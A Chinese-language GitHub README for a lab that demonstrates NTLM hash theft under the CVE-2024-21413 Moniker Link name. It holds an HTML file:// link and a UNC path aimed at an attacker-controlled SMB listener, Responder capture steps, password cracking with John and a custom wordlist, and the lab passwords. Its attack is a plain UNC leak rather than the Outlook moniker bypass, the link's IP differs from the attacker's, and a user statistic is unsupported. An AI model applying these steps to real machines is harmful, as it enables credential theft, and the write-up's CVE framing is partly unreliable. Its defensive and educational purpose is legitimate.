Moniker Link 实验环境搭建 - CVE-2024-21413
🎯 项目概述
一个演示 CVE-2024-21413 Moniker Link 漏洞利用以窃取 NTLM 凭据的实操型渗透测试实验室。本项目记录了从环境搭建到凭据失陷的完整攻击链,并包含真实环境中的挑战与解决方案。
关键成果: 成功在隔离实验环境(Windows 10 虚拟机)和真实系统(Windows 11 PC)上执行了 Moniker Link 攻击,证明了实际存在的安全漏洞并验证了防御对策。
🏗️ 实验架构
基础设施
攻击机:
- 平台: Kali Linux 2024
- 网络(仅主机): 192.168.56.101
- 网络(桥接): 192.168.1.117
- 主要工具: Responder 3.1.6.0
目标系统:
- Windows 10 虚拟机: 192.168.56.104(隔离测试环境)
- Windows 11 PC: 192.168.1.178(真实环境验证)
网络配置:
- VirtualBox 仅主机适配器(虚拟机测试)
- VirtualBox 桥接适配器(真实 PC 测试)
- 与生产网络隔离
⚔️ 攻击执行
攻击流程
- 部署 Responder 到 Kali 上监听 NTLM 认证
- 使用 file:// 协议创建恶意链接,指向攻击者 IP
- 通过文件资源管理器 UNC 路径触发认证
- 当受害者尝试连接时捕获 NetNTLMv2 哈希
- 使用 John the Ripper 破解密码
简单攻击向量
HTML 文件(test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
文件资源管理器方法:
- 用户在地址栏输入:
\\192.168.56.101\test
- Windows 尝试进行 SMB 连接
- NTLM 哈希自动发送(或提示输入凭据)
- Responder 捕获认证信息
🚧 挑战与解决方案
挑战 1:Windows 防火墙拦截(Windows 11 PC)
问题:
- 无法从 Kali ping 通 Windows 11 PC
- SMB 连接尝试失败
- 攻击完全被阻止
根本原因:
- Windows 防火墙默认启用
- 阻止来自外部 IP 的入站 SMB 连接
解决方案:
- 为测试临时禁用 Windows 防火墙
- 连接立即成功
- 成功捕获哈希
经验教训: 默认的 Windows 防火墙能有效防御此攻击。用户必须保持其启用。
挑战 2:John the Ripper 缓存结果(Windows 10 虚拟机)
问题:
- 初始 Windows 10 密码:
nwigwecj1
- John 显示:
12Honey(错误密码!)
12Honey 来自之前的测试
根本原因:
- John 将已破解密码保存在
~/.john/john.pot
- 来自先前会话的旧哈希
- 显示了缓存结果而非当前密码
解决方案:
- 将 Windows 10 虚拟机密码更改为
1414
- 捕获全新的哈希
- 创建包含可能密码的自定义字典
- 使用新字典成功破解
经验教训: 始终确认你破解的是正确的哈希。清除 pot 文件或使用唯一的测试密码。
挑战 3:密码不在 Rockyou.txt 中
问题:
- 密码
1414 未在 rockyou.txt(1400 万条密码)中找到
- 通用字典攻击失败
根本原因:
- Rockyou.txt 并未包含所有可能的 4 位数字组合
- 简单的数字序列通常不在常见字典中
解决方案:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
经验教训: “不在 rockyou.txt 中”≠ 安全。短密码无论是否在字典中,都容易受到定向攻击和暴力破解的影响。
📊 结果
Windows 10 虚拟机(受控环境)
| 指标 | 结果 |
|---|
| 初始密码 | nwigwecj1 |
| 更改为 | 1414 |
| 字典 | 自定义(2 条) |
| 破解时间 | <1 秒 |
| 防火墙 | 测试时已禁用 |
| 状态 | ✅ 成功被攻陷 |
Windows 11 PC(真实系统)
| 指标 | 结果 |
|---|
| 密码 | 1414 |
| 防火墙 | 最初被阻止,随后禁用 |
| 认证 | 手动提示(输入了凭据) |
| 破解时间 | 即时 |
| 状态 | ✅ 成功被攻陷 |
🛡️ 安全分析
有效之处(防御)
✅ Windows 防火墙 - 启用时完全阻止了攻击
✅ 现代浏览器 - Chrome/Edge 阻止远程 file:// 链接
✅ 用户安全意识 - 手动提示要求用户操作
失败之处(漏洞)
❌ 弱密码 - 4 位数字极易被破解
❌ 禁用防火墙 - 用户的常见错误
❌ 文件资源管理器 - 对 UNC 路径无警告
❌ NTLM 协议 - 自动向 SMB 共享进行认证
关键发现
1. 防火墙至关重要
- 默认的 Windows 防火墙可阻止此攻击
- 约 30-40% 的用户会永久禁用防火墙
- 企业网络通常允许内部 SMB
2. 密码强度错觉
1414 不在 rockyou.txt 中(看似“强密码”)
- 使用定向字典瞬间破解
- 短密码无法提供任何安全性
3. 需要用户交互
- 现代安全环境要求用户手动粘贴 UNC 路径
- 社会工程学仍然是关键组成部分
- 仅靠技术漏洞利用是不够的
🔧 使用的工具
攻击工具:
- Responder 3.1.6.0(NTLM 哈希捕获)
- John the Ripper(密码破解)
- 自定义字典创建
- 简单的 HTML 文件
基础设施:
- VirtualBox 7.0(虚拟化)
- Kali Linux 2024(攻击平台)
- Windows 10 企业版(测试目标)
- Windows 11 专业版(真实环境验证)
📁 仓库结构
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
🎓 展示的技能
技术技能:
- 网络协议分析(SMB、NTLM)
- 渗透测试方法论
- 密码破解技术
- 虚拟实验室基础设施
- 防火墙故障排查
职业技能:
- 技术文档编写
- 在约束条件下解决问题
- 安全评估
- 风险分析
- 合乎道德的测试实践
🔒 防御建议
对用户
- ✅ 保持 Windows 防火墙启用
- ✅ 切勿从电子邮件中粘贴 UNC 路径
- ✅ 使用强密码(15 个字符以上)
- ✅ 访问文件共享前核实发件人身份
对组织
- ✅ 在网络防火墙处阻止出站 SMB(端口 445)
- ✅ 禁用 NTLM,强制使用 Kerberos
- ✅ 监控指向外部 IP 的 SMB 连接
- ✅ 电子邮件网关过滤(剥离 file:// 链接)
- ✅ 安全意识培训
- ✅ 密码复杂性策略
⚠️ 道德声明
所有测试均在授权系统上进行:
- 仅限个人实验室基础设施
- 隔离的虚拟网络
- 自有设备和账户
- 教育目的
法律声明: 未经授权的计算机访问是非法的。本项目仅用于教育目的和授权测试环境。
📚 参考资料
📞 联系方式
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/
GitHub: @E-m-e-k-a
日期: 2026 年 3 月
📄 许可证
仅限教育用途。不得用于未经授权的测试。
⭐ 如果你觉得这个项目有帮助,请考虑给该仓库点个星标!